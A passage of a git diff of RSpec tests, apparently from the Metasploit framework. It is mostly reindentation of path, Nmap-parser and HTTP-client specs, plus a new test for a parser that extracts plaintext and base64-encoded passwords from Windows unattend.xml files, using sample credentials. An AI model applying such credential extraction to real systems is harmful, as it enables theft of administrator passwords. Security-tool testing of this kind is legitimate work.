World\\whatever.txt") + described_class.normalize_win_path('C:\\\\').should eq("C:\\") + described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\") + end + end - context ".normalize_unix_path" do - it "should convert an absolute path as an array into Unix format" do - described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd") - end + context ".normalize_unix_path" do + it "should convert an absolute path as an array into Unix format" do + described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd") + end - it "should convert an absolute path as a string into Unix format" do - described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd') - end + it "should convert an absolute path as a string into Unix format" do + described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd') + end - it "should still give me a trailing slash if I have it" do - described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/") - end + it "should still give me a trailing slash if I have it" do + described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/") + end - it "should convert a path without double slashes" do - described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd") - described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd') - end - end + it "should convert a path without double slashes" do + described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd") + described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd') + end + end - end + end end diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index cef4dbf9a2..d9d1b0d3bb 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -24,29 +24,29 @@ xml = ' ' describe Rex::Parser::NmapXMLStreamParser do - parser = Rex::Parser::NmapXMLStreamParser.new - total_hosts = 0 - parser.on_found_host = Proc.new { |host| - total_hosts += 1 - it "should yield a host" do - host.should_not be_nil - end - it "should populate the host with proper keys" do - host.should have_key("status") - host.should have_key("ports") - host.should have_key("addrs") - host["ports"].should be_a(Array) - host["addrs"].should be_a(Hash) - end - it "should find the address" do - host["addrs"].keys.length.should == 1 - host["addrs"].should have_key("ipv4") - host["addrs"]["ipv4"].should == "192.168.0.1" - end - } - REXML::Document.parse_stream(StringIO.new(xml), parser) - it "should have found exactly one host" do - total_hosts.should == 1 - end + parser = Rex::Parser::NmapXMLStreamParser.new + total_hosts = 0 + parser.on_found_host = Proc.new { |host| + total_hosts += 1 + it "should yield a host" do + host.should_not be_nil + end + it "should populate the host with proper keys" do + host.should have_key("status") + host.should have_key("ports") + host.should have_key("addrs") + host["ports"].should be_a(Array) + host["addrs"].should be_a(Hash) + end + it "should find the address" do + host["addrs"].keys.length.should == 1 + host["addrs"].should have_key("ipv4") + host["addrs"]["ipv4"].should == "192.168.0.1" + end + } + REXML::Document.parse_stream(StringIO.new(xml), parser) + it "should have found exactly one host" do + total_hosts.should == 1 + end end diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb new file mode 100644 index 0000000000..980c469ef5 --- /dev/null +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -0,0 +1,50 @@ +require 'rex/parser/unattend' +require 'rexml/document' + +dj = REXML::Document.new(' false Fabrikam.com Password1 MyUserName %MACHINENAME% ') + +lng = REXML::Document.new(' false Fabrikam.com Password1 MyUserName %MACHINENAME% ') + +std = REXML::Document.new(' OnError username Fabrikam.com my_password OnError Windows Vista with Office ImageGroup1 Install.wim 0 1 OnError 0 false 1 1 C NTFS true false OnError en-US en-US ') + +unsecure = REXML::Document.new(' true XXXX-XXXX-XXXX-XXXX-XXXX ') + +b64 = REXML::Document.new(' VABlAG0AcAAxADIAMwBQAGEAcwBzAHcAbwByAGQA false</PlainText> </Password> <Enabled>true</Enabled> <Username>Administrator</Username> </AutoLogon> <FirstLogonCommands> <SynchronousCommand wcm:action="add"> <Order>1</Order> <CommandLine>powershell.exe -command {Set-ExecutionPolicy Unrestricted}</CommandLine> </SynchronousCommand> <SynchronousCommand wcm:action="add"> <Order>2</Order> <CommandLine>powershell.exe -file &quot;c:\Windows\System32\sysprep\2K12-1-rename.ps1&quot;</CommandLine> </SynchronousCommand> </FirstLogonCommands> <OOBE> <HideEULAPage>true</HideEULAPage> <HideOEMRegistrationScreen>true</HideOEMRegistrationScreen> <HideLocalAccountScreen>true</HideLocalAccountScreen> <HideWirelessSetupInOOBE>true</HideWirelessSetupInOOBE> <HideOnlineAccountScreens>true</HideOnlineAccountScreens> <NetworkLocation>Work</NetworkLocation> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <UserAccounts> <AdministratorPassword> <Value>VABlAG0AcAAxADIAMwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFAAYQBzAHMAdwBvAHIAZAA=</Value> <PlainText>false</PlainText> </AdministratorPassword> </UserAccounts> </component> </settings> <cpi:offlineImage cpi:source="wim:c:/users/administrator/desktop/2k12-install.wim#Windows Server 2012 SERVERSTANDARD" xmlns:cpi="urn:schemas-microsoft-com:cpi" /> </unattend>') + +comb = REXML::Document.new('<unattend xmlns="urn:schemas-microsoft-com:unattend"> <settings pass="windowsPE"> <component name="Microsoft-Windows-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <WindowsDeploymentServices> <Login> <WillShowUI>OnError</WillShowUI> <Credentials> <Username>Administrator</Username> <Domain>Fabrikam.com</Domain> <Password>Password1</Password> </Credentials> </Login> <ImageSelection> <InstallImage> <ImageName>Install Image</ImageName> <ImageGroup>defaultx86</ImageGroup> <Filename>install.wim</Filename> </InstallImage> <WillShowUI>OnError</WillShowUI> <InstallTo> <DiskID>0</DiskID> <PartitionID>1</PartitionID> </InstallTo> </ImageSelection> </WindowsDeploymentServices> <DiskConfiguration> <WillShowUI>OnError</WillShowUI> <Disk> <DiskID>0</DiskID> <WillWipeDisk>false</WillWipeDisk> <ModifyPartitions> <ModifyPartition> <Order>1</Order> <PartitionID>1</PartitionID> <Letter>C</Letter> <Label>Vista</Label> <Format>NTFS</Format> <Active>true</Active> <Extend>false</Extend> </ModifyPartition> </ModifyPartitions> </Disk> </DiskConfiguration> </component> <component name="Microsoft-Windows-International-Core-WinPE" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SetupUILanguage> <WillShowUI>OnError</WillShowUI> <UILanguage>en-US</UILanguage> </SetupUILanguage> <UILanguage>en-US</UILanguage> </component></settings><settings pass="specialize"> <component name="Microsoft-Windows-UnattendedJoin" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <Identification> <UnsecureJoin>true</UnsecureJoin> </Identification> </component> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <ComputerName>computer1</ComputerName> </component> <component name="Microsoft-Windows-TerminalServices-RDP-WinStationExtensions" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SecurityLayer>2</SecurityLayer> <UserAuthentication>2</UserAuthentication> </component> <component name="Microsoft-Windows-TerminalServices-LocalSessionManager" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <fDenyTSConnections>false</fDenyTSConnections> </component></settings><settings pass="oobeSystem"> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <OOBE> <HideEULAPage>true</HideEULAPage> <NetworkLocation>Work</NetworkLocation> <ProtectYourPC>1</ProtectYourPC> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <Display> <ColorDepth>32</ColorDepth> <DPI>96</DPI> <HorizontalResolution>1024</HorizontalResolution> <RefreshRate>60</RefreshRate> <VerticalResolution>768</VerticalResolution> </Display> <UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>Password1</Value> <PlainText>true</PlainText> </Password> <Description>My Local Account</Description> <DisplayName>John Smith</DisplayName> <Group>Administrators;Power Users</Group> <Name>John</Name> </LocalAccount> </LocalAccounts> <DomainAccounts> <DomainAccountList> <DomainAccount> <Name>Administrator</Name> <Group>Administrators;Power Users</Group> </DomainAccount> <Domain>Fabrikam.com</Domain> </DomainAccountList> </DomainAccounts> </UserAccounts> </component></settings></unattend>') + +describe Rex::Parser::Unattend do + + context "#parse" do + it "returns passwords for b64" do + results = described_class.parse(b64) + results.length.should eq(2) + results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) + end + + it "returns passwords for domain join" do + results = described_class.parse(dj) + results.length.should eq(1) + results[0]['password'].should eq('Password1') + end + + pos_xmls = [dj, b64, comb, std, lng] + + neg_xmls = [unsecure] + + it "returns results for all positive examples" do + pos_xmls.each do |xml| + results = described_class.parse(xml) + results.should_not be_empty + end + end + + it "returns no results for negative examples" do + neg_xmls.each do |xml| + results = described_class.parse(xml) + results.should be_empty + end + end + end +end + diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 800c5afc7d..5623c5bf6c 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -7,226 +7,226 @@ require 'rex/proto/http/client' # might be slow. I wonder how Travis-CI will react to this... describe Rex::Proto::Http::Client do - class << self + class << self - # Set a standard excuse that indicates that the method - # under test needs to be first examined to figure out - # what's sane and what's not. - def excuse_lazy(test_method=nil) - ret = "need to determine pass/fail criteria" - test_method ? ret << " for #{test_method.inspect}" : ret - end + # Set a standard excuse that indicates that the method + # under test needs to be first examined to figure out + # what's sane and what's not. + def excuse_lazy(test_method=nil) + ret = "need to determine pass/fail criteria" + test_method ? ret << " for #{test_method.inspect}" : ret + end - # Complain about not having a "real" connection (can be mocked) - def excuse_needs_connection - "need to actually set up an HTTP server to test" - end + # Complain about not having a "real" connection (can be mocked) + def excuse_needs_connection + "need to actually set up an HTTP server to test" + end - # Complain about not having a real auth server (can be mocked) - def excuse_needs_auth - "need to set up an HTTP authentication challenger" - end + # Complain about not having a real auth server (can be mocked) + def excuse_needs_auth + "need to set up an HTTP authentication challenger" + end - end + end - let(:ip) { "1.2.3.4" } - subject(:cli) do - Rex::Proto::Http::Client.new(ip) - end + let(:ip) { "1.2.3.4" } + subject(:cli) do + Rex::Proto::Http::Client.new(ip) + end - it "should respond to intialize" do - cli.should be - end + it "should respond to intialize" do + cli.should be + end - it "should have a set of default instance variables" do - cli.instance_variable_get(:@hostname).should == ip - cli.instance_variable_get(:@port).should == 80 - cli.instance_variable_get(:@context).should == {} - cli.instance_variable_get(:@ssl).should be_false - cli.instance_variable_get(:@proxies).should be_nil - cli.instance_variable_get(:@username).should be_empty - cli.instance_variable_get(:@password).should be_empty - cli.config.should be_a_kind_of Hash - end + it "should have a set of default instance variables" do + cli.instance_variable_get(:@hostname).should == ip + cli.instance_variable_get(:@port).should == 80 + cli.instance_variable_get(:@context).should == {} + cli.instance_variable_get(:@ssl).should be_false + cli.instance_variable_get(:@proxies).should be_nil + cli.instance_variable_get(:@username).should be_empty + cli.instance_variable_get(:@password).should be_empty + cli.config.should be_a_kind_of Hash + end - it "should produce a raw HTTP request" do - cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest - end + it "should produce a raw HTTP request" do + cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest + end - it "should produce a CGI HTTP request" do - req = cli.request_cgi - req.should be_a_kind_of Rex::Proto::Http::ClientRequest - end + it "should produce a CGI HTTP request" do + req = cli.request_cgi + req.should be_a_kind_of Rex::Proto::Http::ClientRequest + end - context "with authorization" do - subject(:cli) do - cli = Rex::Proto::Http::Client.new(ip) - cli.set_config({"authorization" => "Basic base64dstuffhere"}) - cli - end - let(:user) { "user" } - let(:pass) { "pass" } - let(:base64) { ["user:pass"].pack('m').chomp } + context "with authorization" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli.set_config({"authorization" => "Basic base64dstuffhere"}) + cli + end + let(:user) { "user" } + let(:pass) { "pass" } + let(:base64) { ["user:pass"].pack('m').chomp } - context "and an Authorization header" do - before do - cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) - end - it "should have one Authorization header" do - req = cli.request_cgi - match = req.to_s.match("Authorization: Basic") - match.should be - match.length.should == 1 - end - it "should prefer the value in the header" do - req = cli.request_cgi - match = req.to_s.match(/Authorization: Basic (.*)$/) - match.should be - match.captures.length.should == 1 - match.captures[0].chomp.should == base64 - end - end - end + context "and an Authorization header" do + before do + cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) + end + it "should have one Authorization header" do + req = cli.request_cgi + match = req.to_s.match("Authorization: Basic") + match.should be + match.length.should == 1 + end + it "should prefer the value in the header" do + req = cli.request_cgi + match = req.to_s.match(/Authorization: Basic (.*)$/) + match.should be + match.captures.length.should == 1 + match.captures[0].chomp.should == base64 + end + end + end - context "with credentials" do - subject(:cli) do - cli = Rex::Proto::Http::Client.new(ip) - cli - end - let(:first_response) { - "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" - } - let(:authed_response) { - "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" - } - let(:user) { "user" } - let(:pass) { "pass" } + context "with credentials" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli + end + let(:first_response) { + "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" + } + let(:authed_response) { + "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" + } + let(:user) { "user" } + let(:pass) { "pass" } - it "should not send creds on the first request in order to induce a 401" do - req = cli.request_cgi - req.to_s.should_not match("Authorization:") - end + it "should not send creds on the first request in order to induce a 401" do + req = cli.request_cgi + req.to_s.should_not match("Authorization:") + end - it "should send creds after receiving a 401" do - conn = double - conn.stub(:put) - conn.stub(:shutdown) - conn.stub(:close) + it "should send creds after receiving a 401" do + conn = double + conn.stub(:put) + conn.stub(:shutdown) + conn.stub(:close) - conn.should_receive(:get_once).and_return(first_response, authed_response) - conn.should_receive(:put) do |str_request| - str_request.should_not include("Authorization") - nil - end - conn.should_receive(:put) do |str_request| - str_request.should include("Authorization") - nil - end + conn.should_receive(:get_once).and_return(first_response, authed_response) + conn.should_receive(:put) do |str_request| + str_request.should_not include("Authorization") + nil + end + conn.should_receive(:put) do |str_request| + str_request.should include("Authorization") + nil + end - cli.should_receive(:_send_recv).twice.and_call_original + cli.should_receive(:_send_recv).twice.and_call_original - Rex::Socket::Tcp.stub(:create).and_return(conn) + Rex::Socket::Tcp.stub(:create).and_return(conn) - opts = { "username" => user, "password" => pass} - req = cli.request_cgi(opts) - cli.send_recv(req) + opts = { "username" => user, "password" => pass} + req = cli.request_cgi(opts) + cli.send_recv(req) - # Make sure it didn't modify the argument - opts.should == { "username" => user, "password" => pass} - end + # Make sure it didn't modify the argument + opts.should == { "username" => user, "password" => pass} + end - end + end - it "should attempt to connect to a server" do - this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) - expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused - end + it "should attempt to connect to a server" do + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused + end - it "should be able to close a connection" do - cli.close.should be_nil - end + it "should be able to close a connection" do + cli.close.should be_nil + end - it "should send a request and receive a response", :pending => excuse_needs_connection do + it "should send a request and receive a response", :pending => excuse_needs_connection do - end + end - it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do + it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do - end + end - it "should send a request", :pending => excuse_needs_connection do + it "should send a request", :pending => excuse_needs_connection do - end + end - it "should test for credentials" do - pending "Should actually respond to :has_creds" do - cli.should_not have_creds - this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - this_cli.should have_creds - end - end + it "should test for credentials" do + pending "Should actually respond to :has_creds" do + cli.should_not have_creds + this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + this_cli.should have_creds + end + end - it "should send authentication", :pending => excuse_needs_connection + it "should send authentication", :pending => excuse_needs_connection - it "should produce a basic authentication header" do - u = "user1" - p = "pass1" - b64 = ["#{u}:#{p}"].pack("m*").strip - cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" - end + it "should produce a basic authentication header" do + u = "user1" + p = "pass1" + b64 = ["#{u}:#{p}"].pack("m*").strip + cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" + end - it "should perform digest authentication", :pending => excuse_needs_auth do + it "should perform digest authentication", :pending => excuse_needs_auth do - end + end - it "should perform negotiate authentication", :pending => excuse_needs_auth do + it "should perform negotiate authentication", :pending => excuse_needs_auth do - end + end - it "should get a response", :pending => excuse_needs_connection do + it "should get a response", :pending => excuse_needs_connection do - end + end - it "should end a connection with a stop" do - cli.stop.should be_nil - end + it "should end a connection with a stop" do + cli.stop.should be_nil + end - it "should test if a connection is valid" do - cli.conn?.should be_false - end + it "should test if a connection is valid" do + cli.conn?.should be_false + end - it "should tell if pipelining is enabled" do - cli.should_not be_pipelining - this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) - this_cli.pipeline = true - this_cli.should be_pipelining - end + it "should tell if pipelining is enabled" do + cli.should_not be_pipelining + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + this_cli.pipeline = true + this_cli.should be_pipelining + end - it "should respond to its various accessors" do - cli.should respond_to :config - cli.should respond_to :config_types - cli.should respond_to :pipeline - cli.should respond_to :local_host - cli.should respond_to :local_port - cli.should respond_to :conn - cli.should respond_to :context - cli.should respond_to :proxies - cli.should respond_to :username - cli.should respond_to :password - cli.should respond_to :junk_pipeline - # These are supposed to be protected - cli.should respond_to :ssl - cli.should respond_to :ssl_version - cli.should respond_to :hostname - cli.should respond_to :port - end + it "should respond to its various accessors" do + cli.should respond_to :config + cli.should respond_to :config_types + cli.should respond_to :pipeline + cli.should respond_to :local_host + cli.should respond_to :local_port + cli.should respond_to :conn + cli.should respond_to :context + cli.should respond_to :proxies + cli.should respond_to :username + cli.should respond_to :password + cli.should respond_to :junk_pipeline + # These are supposed to be protected + cli.should respond_to :ssl + cli.should respond_to :ssl_version + cli.should respond_to :hostname + cli.should respond_to :port + end - # Not super sure why these are protected... - it "should refuse access to its protected accessors" do - expect {cli.ssl}.to raise_error NoMethodError - expect {cli.ssl_version}.to raise_error NoMethodError - expect {cli.hostname}.to raise_error NoMethodError - expect {cli.port}.to raise_error NoMethodError - end + # Not super sure why these are protected... + it "should refuse access to its protected accessors" do + expect {cli.ssl}.to raise_error NoMethodError + expect {cli.ssl_version}.to raise_error NoMethodError + expect {cli.hostname}.to raise_error NoMethodError + expect {cli.port}.to raise_error NoMethodError + end end diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index ce63b028dd..dc474a0877 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -1,112 +1,191 @@ require 'rex/proto/http/response' -get_cookies_test_1 = ' -HTTP/1.1 200 OK -Date: Fri, 26 Apr 2013 12:43:12 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.6-1ubuntu1.2 -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: private, max-age=10800, pre-check=10800 -Last-Modified: Fri, 26 Apr 2013 12:01:52 GMT -Vary: Accept-Encoding -Content-Length: 63951 -Keep-Alive: timeout=5, max=100 -Connection: Keep-Alive -Content-Type: text/html - -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">' - -get_cookies_test_2 = ' -HTTP/1.1 200 OK -Date: Fri, 26 Apr 2013 08:44:54 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.6-1ubuntu1.2 -Set-Cookie: phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue; path=/phpmyadmin/; HttpOnly -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: private, max-age=10800, pre-check=10800 -Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT -Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954; path=/phpmyadmin/; HttpOnly -Vary: Accept-Encoding -Content-Length: 7356 -Keep-Alive: timeout=5, max=100 -Connection: Keep-Alive -Content-Type: text/html; charset=utf-8 - -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' - -get_cookies_test_3 = ' -HTTP/1.1 200 OK -Date: Fri, 26 Apr 2013 08:44:54 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.6-1ubuntu1.2 -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: private, max-age=10800, pre-check=10800 -Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT -Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954; path=/phpmyadmin/; HttpOnly -Set-Cookie: superC00kie!=stupidcookie; Path=/parp/; domain=.foo.com; HttpOnly; Expires=Wed, 13-Jan-2012 22:23:01 GMT; Secure -Vary: Accept-Encoding -Content-Length: 7356 -Keep-Alive: timeout=5, max=100 -Connection: Keep-Alive -Content-Type: text/html; charset=utf-8 - -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' - -get_cookies_test_4 =' -HTTP/1.1 200 OK -Date: Fri, 26 Apr 2013 08:44:54 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.6-1ubuntu1.2 -Set-Cookie: phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue; path=/phpmyadmin/; HttpOnly -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: private, max-age=10800, pre-check=10800 -Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT -Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: phpMyAdmin=; path=/phpmyadmin/; HttpOnly -Vary: Accept-Encoding -Content-Length: 7356 -Keep-Alive: timeout=5, max=100 -Connection: Keep-Alive -Content-Type: text/html; charset=utf-8 - -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' - describe Rex::Proto::Http::Response do - R = Rex::Proto::Http::Response - it "get_cookies returns empty string for no Set-Cookies" do - resp = R.new() - resp.parse(get_cookies_test_1) - resp.get_cookies.should eq("") - end - it "get_cookies returns 5 cookies for test 2" do - resp = R.new() - resp.parse(get_cookies_test_2) - resp.get_cookies.split(';').count.should eq(5) - end + def get_cookies_test_no_cookies + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Fri, 26 Apr 2013 12:43:12 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.6-1ubuntu1.2 + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: private, max-age=10800, pre-check=10800 + Last-Modified: Fri, 26 Apr 2013 12:01:52 GMT + Vary: Accept-Encoding + Content-Length: 63951 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html - it "get_cookies returns 5 cookies for test 3 and parses full cookie" do - resp = R.new() - resp.parse(get_cookies_test_3) - resp.get_cookies.split(';').count.should eq(5) - resp.get_cookies.include?("superC00kie!=stupidcookie;").should be_true - end + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">' + HEREDOC + end + + def get_cookies_test_five_cookies + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Fri, 26 Apr 2013 08:44:54 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.6-1ubuntu1.2 + Set-Cookie: phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue; path=/phpmyadmin/; HttpOnly + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: private, max-age=10800, pre-check=10800 + Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT + Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954; path=/phpmyadmin/; HttpOnly + Vary: Accept-Encoding + Content-Length: 7356 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=utf-8 + + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + HEREDOC + end + + def get_cookies_test_five_ordered_cookies + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Fri, 26 Apr 2013 08:44:54 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.6-1ubuntu1.2 + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: private, max-age=10800, pre-check=10800 + Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT + Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954; path=/phpmyadmin/; HttpOnly + Set-Cookie: superC00kie!=stupidcookie; Path=/parp/; domain=.foo.com; HttpOnly; Expires=Wed, 13-Jan-2012 22:23:01 GMT; Secure + Vary: Accept-Encoding + Content-Length: 7356 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=utf-8 + + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + HEREDOC + end + + def get_cookies_test_with_empty_cookie + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Fri, 26 Apr 2013 08:44:54 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.6-1ubuntu1.2 + Set-Cookie: phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue; path=/phpmyadmin/; HttpOnly + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: private, max-age=10800, pre-check=10800 + Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT + Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: phpMyAdmin=; path=/phpmyadmin/; HttpOnly + Vary: Accept-Encoding + Content-Length: 7356 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=utf-8 + + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + HEREDOC + end + + def get_cookies_test_one_set_cookie_header + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Wed, 25 Sep 2013 20:29:23 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.9-4ubuntu2.2 + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Last-Modified: Wed, 25 Sep 